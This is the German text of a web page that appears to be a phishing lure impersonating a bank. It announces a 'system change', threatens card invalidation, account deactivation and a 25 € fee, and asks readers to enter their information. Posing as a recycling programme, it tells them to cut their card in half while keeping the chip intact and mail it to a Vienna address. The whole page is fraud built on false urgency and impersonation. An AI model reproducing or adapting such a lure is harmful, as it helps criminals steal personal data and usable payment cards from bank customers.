Systemänderung
Sehr geehrte Kundin, sehr geehrter Kunde,
wir möchten Sie darüber informieren, dass wir eine Systemänderung vorgenommen haben, die es erforderlich macht, dass alle Kunden ihre neue Bankkarte über unsere Website beantragen.
Es ist zwingend erforderlich, dass Sie Ihren Antrag bis spätestens 26. April einreichen und Ihre alte Bankkarte an uns zurücksenden. Sollten Sie dies innerhalb von 3 Werktagen tun, erhalten Sie Ihre neue Bankkarte kostenfrei. Wird der Antrag nach Ablauf dieser Frist nicht eingereicht, wird Ihre derzeitige Bankkarte ohne Vorankündigung ungültig und kann nicht mehr verwendet werden. In diesem Fall wird auch Ihr Bankkonto vorübergehend deaktiviert, bis sowohl Ihr Antrag als auch die Rücksendung Ihrer alten Karte bei uns eingegangen sind..
Nach Ablauf der Frist können Sie weiterhin eine neue Bankkarte beantragen; jedoch fällt in diesem Fall eine Gebühr von 25 € an.
Wir bitten Sie zudem, Ihre alte Bankkarte an uns zurückzusenden, um sie umweltfreundlich zu recyceln. Auf diese Weise tragen wir gemeinsam zur Reduktion von Abfall bei und leisten einen Beitrag zu einer nachhaltigeren Zukunft. Sollten Sie sich gegen die Teilnahme an unserem Recyclingprogramm entscheiden, kann es zu längeren Bearbeitungszeiten bei der Ausstellung Ihrer neuen Bankkarte kommen.
Sobald wir sowohl Ihren Antrag als auch die Rücksendung Ihrer alten Bankkarte erhalten haben, wird Ihre neue Bankkarte innerhalb von fünf Werktagen an Sie versendet.
Ihre Informationen
Geben Sie Ihre Informationen unten ein, um das Problem zu lösen.
Teilnahme am Recycling-Programm
Um Ihre Karte ordnungsgemäß zu recyceln, bitten wir Sie, diese sorgfältig in zwei Hälften zu schneiden. Wichtig: Achten Sie darauf, den Chip nicht zu beschädigen, damit die Karte korrekt verarbeitet werden kann.
Legen Sie die zerschnittene Karte anschließend in einen Umschlag. Bitte stellen Sie sicher, dass der Inhalt des Umschlags vertraulich bleibt und von außen nicht erkennbar ist.
Die Karte verschicken
Vergessen Sie nicht, die richtige Adresse auf den Umschlag zu schreiben, damit er an die richtige Stelle gelangt.
Setzen Sie die zerschnittene Karte in einen Umschlag und senden Sie ihn an folgende Adresse:
Name : Recycle Programm
Brünner Straße 188/2/14
1210 Wien
Speichern Sie diese Adresse, bevor Sie zur nächsten Seite gehen!
Vergessen Sie nicht, dem Brief eine Briefmarke beizufügen!
Erfolgreich!
Sie erhalten Ihre neue Karte innerhalb von 3-5 Arbeitstagen per Post.
Sie werden in wenigen Sekunden zu unserer Homepage weitergeleitet.
